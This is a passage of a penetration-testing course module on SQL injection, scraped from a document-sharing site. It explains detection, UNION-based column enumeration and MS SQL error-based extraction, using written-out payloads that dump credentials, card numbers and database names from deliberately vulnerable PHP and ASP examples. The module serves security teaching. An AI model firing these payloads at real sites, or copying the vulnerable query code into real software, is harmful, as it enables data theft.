0% found this document useful (0 votes)
39 views281 pages

4 SQL Injections

Uploaded by

abdiascompaore
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
39 views281 pages

4 SQL Injections

Uploaded by

abdiascompaore
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 281

4.1.

Introduction to SQL Injections

4.2. Finding SQL Injections

4.3. Exploiting In-Band SQL Injections

4.4. Exploiting Error Based SQL Injections

4.5. Exploiting Blind SQL Injections

4.6. SQLMap

4.7. Mitigation Strategies

4.8. From SQLi to Server Takeover

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
An SQL Injection (SQLi) attack exploits the injection of SQL
commands into the SQL queries of a web application. A
successful SQLi attack lets a malicious hacker access and
manipulate a web application’s backend database.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Complex web applications generally use a database for
storing data, user credentials or statistics. CMSs as well as
simple personal web pages can connect to databases such as
MySQL, SQL Server, Oracle, PostgreSQL and others.

To interact with databases, entities such as systems


operators, programmers, applications and web applications
use Structured Query Language (SQL).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


SQL is a powerful interpreted language used to extract and
manipulate data from a database. Web applications embed
SQL commands, also known as queries, in their server side
code.
The code takes care of establishing and keeping the
connection to the database by using connectors. Connectors
are middle-ware between the web application and the
database.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Connector Example:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Before learning how to carry out an attack, we have to know
some SQL basics:
• SQL statements syntax
• How to perform a query
• How to union the results of two queries
• The DINSTINCT and ALL operators
• How comments work

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


A SQL statement looks like the following:
Example:

> SELECT name, description FROM products WHERE id=9;

The above code queries the database, asking for the name
and the description of a record in the products table. In
this example, the selected record will have id value equal 9.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In order to better understand SQLi you need to know the
basic syntax of a SELECT statement:

> SELECT <columns list> FROM <table> WHERE <condition>;

You can find more information about SQL here.

https://www.w3schools.com/sql/sql_intro.asp

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


It is also possible to select constant values:
Example:

> SELECT 22, 'string', 0x12, 'another string';

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


You also need to know the UNION command, which performs
a union between two results, operates:

> <SELECT statement> UNION <other SELECT statement>;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If a table or query contains duplicate rows, you can use the
DISTINCT operator to filter out duplicate entities:

> SELECT DISTINCT <field list> <remainder of the statement>;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


A UNION statement implies DISTINCT by default. You can
prevent that by using the ALL operator:

> <SELECT statement> UNION ALL <other SELECT statement>;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Finally a word about comments. There are two strings you
can use to comment a line in SQL:
• # (the hash symbol)
• -- (two dashes followed by a space)

> SELECT field FROM table; # this is a comment


> SELECT field FROM table; -- this is another comment

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:
In the following slides, we will see some SQL queries
performed on a database containing two tables:
Products
Accounts
ID Name Description
Username Password Email
1 Shoes Nice shoes
admin HxZsO9AR [email protected]
3 Hat Black hat
staff ihKdNTU4 [email protected]
18 T-Shirt Cheap
user Iwsi7Ks8 [email protected]

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• The following two queries provide the same result:
> SELECT Name, Description FROM Products WHERE ID='1';

> SELECT Name, Description FROM Products WHERE Name='Shoes';

• The result of the queries is a table containing just one


row:
Name Description

Shoes Nice shoes

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• This is a UNION example between two SELECT statements:
> SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
Username, Password FROM Accounts;

• The result of the query is a table containing a row with the Hat
item and all the usernames and passwords from the Accounts
table:
Name Description
Hat Black hat
admin HxZsO9AR
staff ihKdNTU4
user Iwsi7Ks8
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• You can also perform a UNION operation with some
chosen data:
> SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
'Example', 'Data';

• The result of the query is a table containing a row with the


Hat item and the provided custom row:
Name Description
Hat Black hat
Example Data

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The previous examples show how to use SQL when querying a
database directly from its console.
To perform the same tasks from within a web application, the
application must:
• Connect to the database
• Submit the query to the database
• Retrieve the results
Then the application logic can use the results.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
The following code contains a PHP example of a connection
to a MySQL database and the execution of a query.
Example:

$dbhostname='1.2.3.4';
$dbuser='username';
$dbpassword='password';
$dbname='database';

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT Username,
Password FROM Accounts;";

$results = mysqli_query($connection, $query);


display_results($results);

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The previous example shows a static query example inside a
PHP page:
• $connection is an object referencing the connection to
the database.
• $query contains the query.
• mysqli_query() is a function which submits the query to
the database.
• Finally the custom display_results() function renders
the data.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• Anatomy of a database interaction in PHP. This example
uses a MySQL database.
$dbhostname='1.2.3.4';
Configuration
$dbuser='username';
$dbpassword='password'; Connection
$dbname='database';

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
Username, Password FROM Accounts;";
Query
$results = mysqli_query($connection, $query);
definition
display_results($results);
Submit
Usage
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
However, most of the times queries are not static, they are
dynamically built by using the user‘s inputs. Here you can
find a vulnerable dynamic query example:
Example:

$id = $_GET['id'];

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='$id';";

$results = mysqli_query($connection, $query);


display_results($results);

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The previous example shows some code which uses user
supplied input to build a query (the id parameter of the GET
request). The code then submits the query to the database.
Although the code is functionally correct, this behavior is very
dangerous, because a malicious user can exploit the query
construction to take control of the database interaction.
Let us see how!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The dynamic query:

SELECT Name, Description FROM Products WHERE ID='$id';

Expects $id values such as:


• 1 SELECT Name, Description FROM Products WHERE ID='1';
• Example SELECT Name, Description FROM Products WHERE ID='Example';
• Itid3 SELECT Name, Description FROM Products WHERE ID='Itid3';
Or any other string.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
But, what if an attacker crafts a $id value which can actually
change the query? Something like:

' OR 'a'='a

Then the query becomes:

SELECT Name, Description FROM Products WHERE ID='' OR 'a'='a';

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This tells the database to select the items by checking two
conditions:
• The id must be empty (id='')
• OR an always true condition ('a'='a')
While the first condition is not met, the SQL engine will
consider the second condition of the OR. This second
condition is crafted as an always true condition.
In other words, this tells the database to select all the items
in the Products table!
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
An attacker could also exploit the UNION command by
supplying:

' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a

Thus changing the original query to:

SELECT Name, Description FROM Products WHERE ID='' UNION SELECT


Username, Password FROM Accounts WHERE 'a'='a';

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This asks the database to select the items with an empty id,
thus selecting an empty set, and then to perform a union
with all the entries in the Accounts table.

By using some deep knowledge about the database


management system in use, an attacker can get access to the
entire database just by using a web application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Before going deeper into the “find and exploit process” of
SQL injection vulnerabilities, you should understand where
these vulnerabilities can lead when they are successfully
exploited.
First, we have to understand that based on the DBMS that the
web application is using (MySQL, SQL Server…) , the attacker
is capable of performing a number of actions that go much
further than the mere manipulation of the database.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


An attacker could read the file system, run OS commands,
install shells, access the remote network and basically own
the whole infrastructure.
This is not always the case however, as we will see later, the
more powerful the DBMS, the more advanced the SQL is.
This increases the capabilities of an attacker after the
exploitation.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Keep in mind that accessing a database that stores
confidential data (user credentials, SSNs, credit cards and
whatever sensitive information an enterprise, company or
individual may store in a database) is the single most
dangerous form of attack on a web application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Among all the vulnerabilities that may affect web
applications, SQL injections are the first checked by hackers
because of the fact that they produce the most immediate
results.
Example:

An XSS attack involves some steps, intelligence and


planning for its successful exploitation. A SQL
injection vulnerability, once found, is ready to be
exploited.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
There is a a great deal of literature about SQLi and there are
many different types of classifications, each one based on
different aspects such as:
• Scope of the attack
• Exploitation vector
• Source of the attack

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In this course we will refer 3 different injection attacks and
exploitation types:
• In-band
• Error-based
• Blind SQL
These classifications are based on the exploitation method
used to carry out the attack. This will help you follow the
explanations of the detection and exploitation phases. Now
let’s see it in detail!
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In-band SQL injections leverage the same channel used to
inject the SQL code (i.e. the pages generated by the web
application).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

During and an in-band attack the penetration tester finds a


way to ask the the web application for the desired
information.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


During an Error-Based SQL injection attack, the penetration
tester tries to force the DMBS to output an error message
and then uses that information to perform data exfiltration.

Error
Management
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Example:
To exploit an error-based injection, the penetration tester needs to
use advanced DBMS features. Errors could be sent either via the
web application output or by other means such us automated
reports or warning emails.

Error
Management
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
A web application vulnerable to blind SQL injection does not
reflect the results of the injection on the output. In this case
the penetration tester must find an inference method to
exploit the vulnerability.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

Inference exploitation is usually carried out by using


true/false conditions.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

The penetration tester can understand if a condition is true or


false by studying the web application behavior.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Now, we will see how to detect and exploit various SQL
injection vulnerabilities in the few next sections of this
module.

Don’t worry!!
Everything you have just seen will all fall into place!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
To exploit an SQL injection you have to first find out where
the injection point is, then you can craft a payload to take
control over your target’s dynamic query.

The most straightforward way to find SQL injections within a


web application is to probe its inputs with characters that are
known to cause the SQL query to be syntactically invalid and
thus forcing the web application to return an error.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Note: Not all the inputs of a web application are used to build
SQL queries. In the Information Gathering module, we
suggested that you categorize the different input parameters
and save the ones used for database data retrieval and
manipulation.

In the following slides, we will see how to use the information


gathered to identify and exploit SQLi vulnerabilities.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Input parameters are carried through: GET and POST
requests, HEADERS and COOKIES. We have to check all these
channels where data is retrieved from the client.

The following examples, for the sake of simplicity, will


examine scenarios where inputs are taken straight from the
URL (with the GET method). The same techniques apply to
the other channels.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


For the purpose of explaining the process of finding SQL
Injections, we created a small (vulnerable) e-commerce web
application showcasing cell phones for sale.

Example:

ecommerce.php takes an input parameter named


id that reads the product features from the
database and prints them out on the page.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• The id parameter is expected to be an integer. Sending
the id=1 GET parameter makes the application behave
correctly.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• While sending a comma however, makes the application
throw an error.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Testing input for SQL injection means trying to inject:
• String terminators: ' and "
• SQL commands: SELECT, UNION and others
• SQL comments: # or --
And checking if the web application starts to behave oddly.
Always test one injection at a time! Otherwise you will not
be able to understand what injection vector is successful.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The web application we have just seen, prints internal errors
on its output pages.

This behavior helps developers and penetration testers to


understand what is going on under the hood of a web
application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Every DBMS responds to incorrect SQL queries with different
error messages.
Even within the same DBMS, error messages change
according to the specific function the web application uses to
interact with it.
Example:

In the previous example we saw the


mysql_fetch_assoc() function triggering an
error due to our invalid input.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• A typical error from MS-SQL looks like this:

Incorrect syntax near [query snippet]

• While typical MySQL error looks more like this:

You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to
use near [query snippet]

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If, during an engagement, you find errors similar to the
previous ones, it is very likely that the application is
vulnerable to an SQL injection attack.

This is not always the case, sometimes you have to have


educated guesses in order to understand if a web app is
vulnerable or not.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Currently, most production web sites do not display such
errors.

This happens both because of the usability of the application,


it is useless to display errors to end users who cannot
understand or fix them, and to achieve security through
obscurity.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Security through obscurity is the use of secrecy of design,
implementation or configuration in order to provide security.
In the following slides you will see how this approach cannot
defend a vulnerable application from SQL injection attacks.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If a web application does not display errors in its output, it is
still possible to test for SQL injection by using a Boolean
based detection technique.
The idea behind this process is simple, yet clever: trying to
craft payloads which transform the web application queries
into True/False conditions. The penetration tester then can
infer the results of the queries by looking at how the
application behavior changes with different True/False
conditions.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Example:
To demonstrate how to detect a Boolean based SQLi, we
created a website hosting an image gallery. Every images has
an ID that identifies it.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• As usual, we try to detect the injection point by sending
the web application SQL-reserved characters. In this
example, a string termination character. The result is: The
web application does not display an image.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Unfortunately, the application behaves in the same way
when we ask for an image that simply does not exist. For
example if we pass id=999999 as GET parameter:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• We suspect that the query behind the page is something
like
SELECT <some fields> FROM <some table> WHERE id='GETID';

• So we can try to inject 999999' or '1'='1 to transform the


query into:
SELECT <some fields> FROM <some table> WHERE id='999999 or '1'='1';

Which basically is an always true condition!


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• Testing this payload on the web application gives us back
an output! To be sure, we also need to test an always false
condition.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• We then change our payload to 999999' or '1'='2
which is an always false condition.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• It is also possible to test a little more with other always
true or always false conditions such as:
• 1141' and 'els'='els
• 1141' and 'els'='elsec
• 1141' and 'hello'='hello
• 1141' and 'hello'='bye
• els' or '1'='1
• els' or '1'='2

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


After detecting a potential injection point, it is time to test if
it is actually exploitable.
In the following chapters, you will see different techniques to
exploit SQL injection vulnerabilities.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the next video you will see how to identify SQL injection
vectors.
You will see how to use Boolean logic injections to test
vulnerable parameters and use SQLMap to perform basic SQLi
exploitation.

We will also see, in detail, how to use SQL later in this


module.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In-band SQL injection techniques make the retrieval of data
from the database very powerful thanks to the use of the
UNION SQL command. For this reason, in-band injections are
also known as UNION-based SQL injections.

This kind of attack lets a penetration tester extract the


database content, in the form of the database name, tables
schemas and actual data.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


As we have seen in the first chapter of this module, the
UNION statement combines the result-set of two or more
SELECT statements.
Example:

SELECT <field list> FROM <table> UNION SELECT <field list> FROM <another table>;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We will see how to exploit an in-band SQL injection by
studying some scenarios. In the first scenario the database
contains two tables: CreditCards and Users.
CreditCards
id (int) username (string) password (string) real_name (string)
1 admin strongpass123 Armando Romeo
2 fred wowstrongpass123 Fred Flintstone

Users
user_id (int) Cc_num (int) CVS(int)
1 0000 1111 2222 3333 123
2 0123 4567 8901 2345 321

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The user_id column is the foreign key of the Users table.
In this example admin has a credit card number of 0000
1111 2222 3333 while fred has a credit card number of
0123 4567 8901 2345.
CreditCards
id (int) username (string) password (string) real_name (string)
1 admin strongpass123 Armando Romeo
2 fred wowstrongpass123 Fred Flintstone

Users
user_id (int) Cc_num (int) CVS(int)
1 0000 1111 2222 3333 123
2 0123 4567 8901 2345 321

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The web application uses the following code to display
usernames:

<?php
$rs=mysql_query("SELECT real_name FROM users WHERE id=".$_GET['id'].";");
$row=mysql_fetch_assoc($rs);

echo $row['real_name'];
?> SQL injection!

As you can see, there is a clear SQL injection point in the id


field of the SQL query.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
We can now exploit the SQLi vulnerability to retrieve the
credit card associated with a username.
Our payload is:

9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The payload makes the query in the web application
transform into the following:

SELECT real_name FROM users WHERE id=9999 UNION ALL SELECT


cc_num FROM CreditCards WHERE user_id=1;

As there are no users with id=9999 the web application


will display on its output the cc_num of the first user!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We can now submit the payload to the web application by
sending a GET request with either the browser or, via a
different tool:

/vuln_to_inband.php?id=9999 UNION ALL SELECT cc_num FROM


CreditCards WHERE user_id=1

Note the use of the ALL operator. We used it to avoid the


effect of an eventual DISTINCT clause in the original web
application query.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Another good trick to use when exploiting a SQL injection
vulnerability is to use comments. A payload such as:

9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1; -- -

Query termination and comment

This comments out any other SQL code which could follow
our injection point.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
There are many things to note in the previous attack:
• The field types of the second SELECT statement should match
the ones in the first statement
• The number of fields in the second SELECT statement should
match the number of the fields in the first statement
• To successfully perform the attack, we need to know the
structure of the database in terms of tables and column
names

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To solve the first two issues, we can use an advanced
technique to find what columns are used in a SELECT
statement. We are looking for the number of columns and
their type.

We will see how to reverse-engineer the database structure


later. In the following examples we assume that we know the
structure of the database.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Let us see how to enumerate the number of columns, or
fields, in query selects. The following line contains the
vulnerable query:
mysql_query("SELECT id, real_name FROM users WHERE id=".$GET['id'].";");

The columns have the following data types:


• id has data type int
• real_name has data type varchar (a string)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In this case, the query selects two columns with type integer
and varchar.
As most engagements are black-box penetration tests, we
need a way to find:
• Number of columns a vulnerable query selects
• The data type of each column

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Finding the number of fields in a query is a cyclical task.

If we do not provide the correct number of fields in the


injected query, it will not work. This will throw an error on the
web application output or simply mess up the contents of the
output page rendering.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If the web application outputs an error, please note that
every DBMS outputs a different error string:

• MySQL error:
The used SELECT statements have a different number of columns

MS SQL error:
All queries in an SQL statement containing a UNION operator
must have an equal number of expressions in their target
lists

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• PostgreSQL error:

ERROR: each UNION query must have the same number of columns

• Oracle error:

ORA-01789: query block has incorrect number of result columns

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We start by injecting a query that selects null fields. We start
with a single field and then increase the number of fields until
we build a valid query.
Example:
Detecting the number of fields needed to exploit an in-
band SQL injection looks like the following:
1• 9999 UNION SELECT NULL; -- -
2• 9999 UNION SELECT NULL, NULL; -- -
n• ...
4• 9999 UNION SELECT NULL, NULL, NULL, NULL; -- -

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We can iteratively add null fields until the error disappears.
This will force the web application to execute the following
queries:
• SELECT id, real_name FROM users WHERE id='9999'
UNION SELECT NULL; -- -
Which triggers an error (the left hand query selects two fields
while the right hand query selects just one field)
• SELECT id, real_name FROM users WHERE id='9999'
UNION SELECT NULL, NULL; -- -
Which works without triggering an error (the two statements
are balanced)
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
However, what about a web application that does not display
errors?
The basic idea is similar (increasing the number of fields at
every step) but, in this case we want to start with a valid id
and then inject our query.
As we did before, we increase the number of fields selected
until we create a valid query.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

The view.php page displays


a picture with id 1138.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We try to inject a query with
a single field.

The payload is:


1138' UNION SELECT null; -- -

The page is not rendered


correctly, there must be an
error in the query.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
We increase the number of
fields.

The payload is:


1138' UNION SELECT null,null; -- -

The page now works, this


means that the query is
correct.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• With our last payload we forced the web application to
run the following query:

SELECT field1, field2 FROM table where id='1138' UNION SELECT null, null; -- -
<remainder of the original query>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


After identifying the number of fields, we need to find their
type. Most of the DBMSs perform type enforcing on the
queries.
Example:

If the DBMS performs type enforcing on UNION statements you


cannot perform a UNION between an integer and a string therefore,
SELECT 1 UNION 'a';
will trigger an error!
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Depending on how the DBMS handles data types, we are
required to provide an exact match of the data types for each
column in the two SELECT statements.
DBMS Type Enforcing
MySQL No
MS SQL Server Yes
Oracle Yes
PostgreSQL Yes

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Finding the data types used in the queries is, once again, a
cyclical process. We have to:
• Substitute one of the null fields in our payload with a
constant
• If the constant type used is correct, the query will work
• If the type is wrong the web application will output an
error or misbehave
In the next example we will try to find the data types used in
a query.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Example:

We found an in-band SQL injection with two fields. Our


current payload is:
' UNION SELECT null, null; -- -

So we try to test if the first field is an integer by sending:

' UNION SELECT 1, null; -- -

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• If the web application works correctly we can assume that
the first field is an integer so we proceed from:
' UNION SELECT 1, null; -- -

• To:

' UNION SELECT 1, 1; -- -

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• If we get an error, or the application misbehaves, then the
second field is not an integer therefore, we can move on
to:

' UNION SELECT 1, 'a'; -- -

As we see for this example, the second field is a string!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


After finding out the number of columns and their types, it is
possible to extract information about the database, the
server and the database data.

We will see how to use specific DBMS features to extract this


information later. Let us first cover other exploitation
techniques.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In this video you will see how to manually exploit in-band
SQL injections!
You will see how to:
• Find the number of fields in a query
• Find their type
• Inject attacker-controlled queries

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Error-based SQL injections are another way to retrieve data
from the database. While they do not ask for data directly,
they actually use some advanced DBMS functions to trigger
an error. The error message contains the information the
penetration tester is aiming for.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Most of the times the error message is reflected on the web
application output but, it could also be embedded in an email
message or appended to a log file. It depends on how the
web application is configured.

Error-based SQL injection is one of the fastest ways to extract


data from a database. It is available on DMBSs such us Oracle,
PostgreSQL and MS SQL Server.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Some DBMSs are very generous in terms of information given
within error messages. In some of the previous examples, we
used errors to match conditions of success or failure.

This time, we’ll retrieve database names, schemas and data


from the errors, themselves. We will see some MS SQL Server
specific payloads and then introduce some attack vectors for
other DBMSs. The basic principle is the same across any
DBMS.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
MS SQL Server reveals the name of database objects within
error messages. Let us see it in action!

We ported our vulnerable e-commerce application to


ASP+MSSQL to show the process of dumping the whole
database schema and data manually.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The schemas are databases with the singular purpose of
describing all the other user-defined databases in the system.

In MSSQL, sa is the super admin and has access to the master


database. The master database contains schemas of user-
defined databases.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The first piece of information we would like to know is the
database version so that we can build our exploits
accordingly.

To do this we will force the DBMS to show an error including


the database version.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


One of the most used tricks is to trigger a type conversion
error that will reveal to us the wanted value.
From now on we will refer to this scenario:
• DBMS is MS SQL Server
• The vulnerable app is ecommerce.asp?id=1
• The id parameter is vulnerable to SQLi

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The injection payload used for this technique is as follows:

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This payload is used as input to the vulnerable parameter of


the web app: ecommerce.asp?id=PAYLOAD.
We can now dissect the payload to understand all its parts.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Returning no records

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

9999999 is just a bogus value, you can put anything here,


provided that it is not an id present in the database (we want
the OR part of the SQL query to be executed, so the first
condition should be FALSE).
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• Triggering an error

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This is the part of the SQL that will trigger the error.
We are asking the database to look for integer value 1 within
a varchar column.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Casting

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This is where we insert the column that we want to dump.


(Either a column of a user defined database or a "special"
database column).

<FIELDNAME> can be a SQL function like user_name() or a


variable like @@version.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• Narrowing down

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

We will use this part in the iterations to dump database data.


This part can be omitted/adjusted at our disposal according
to which table our searched fieldname value belongs to.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Retrieving the SQL Server version

9999999 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--

This is a very simple example of how to use this type of


payload. We used the @@version variable name.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

Running the previous payload on the vulnerable web


application makes it print the output:
[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion
failed when converting the varchar value 'Microsoft SQL Server
2008 R2 (SP2) - 10.50.4000.0 (X64) Jun 28 2012 08:36:30 Copyright
(c) Microsoft Corporation Express Edition (64-bit) on Windows NT
6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

Thus, printing the DBMS version.


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Knowing the database version is really important because it
helps you during the exploitation phase.

Example:

Different MS SQL Server versions have different


default column names in the master database.
We can find information about the structure of the
master database on MSDN.
https://docs.microsoft.com/en-us/sql/relational-databases/databases/master-database?view=sql-server-2017

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the following slides, we will see how to extract information
from a database by using error-based SQL injections:
• Current database username
• Current database name
• Installed databases
• The tables into a given database
• The columns of a given table
• Database data

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We can now see how to extract various information via error-
based SQL injections by using the CAST technique.
In the following examples we will attack a vulnerable web
application:
http://somesite.xxx/vuln.php?id=1
The id parameter is vulnerable therefore, we will inject our
payloads via a web browser.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• The First step is to understand the level of privilege we
have, by finding the current database user:

9999 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096))) --

User_name() is a MS SQL function which returns the


current database user.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• This is the output of the web application:
[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion
failed when converting the varchar value 'user' to data type int.

The current database user is just user, so we do not have


administrative privileges (as the sa user would have).
We can still dump all the databases to which user has
access to. So the next step is enumerating the databases
that user can access.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• To do that we will iterate through the MASTER database to find
all the databases that we can read. The payload is:

9999 or 1 in (SELECT TOP 1 CAST(db_name(0) as varchar(4096))) --

The DB_NAME() function accesses the master..sysdatabases


table which stores all the databases installed on the server. We
can only see the databases that user has rights to.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• To enumerate all the databases that user can access, we just
have to increment the db_name() argument:

9999 or 1 in (SELECT TOP 1 CAST(db_name(1) as varchar(4096))) --

Cycle through 1, 2, 3 and continue until we cannot enumerate


any more databases.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We now have a list of installed databases and the current
database in use.
This time we want to enumerate all the tables in the current
database (the same technique can easily be modified to
apply to the other databases).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We will use the following payload scheme:
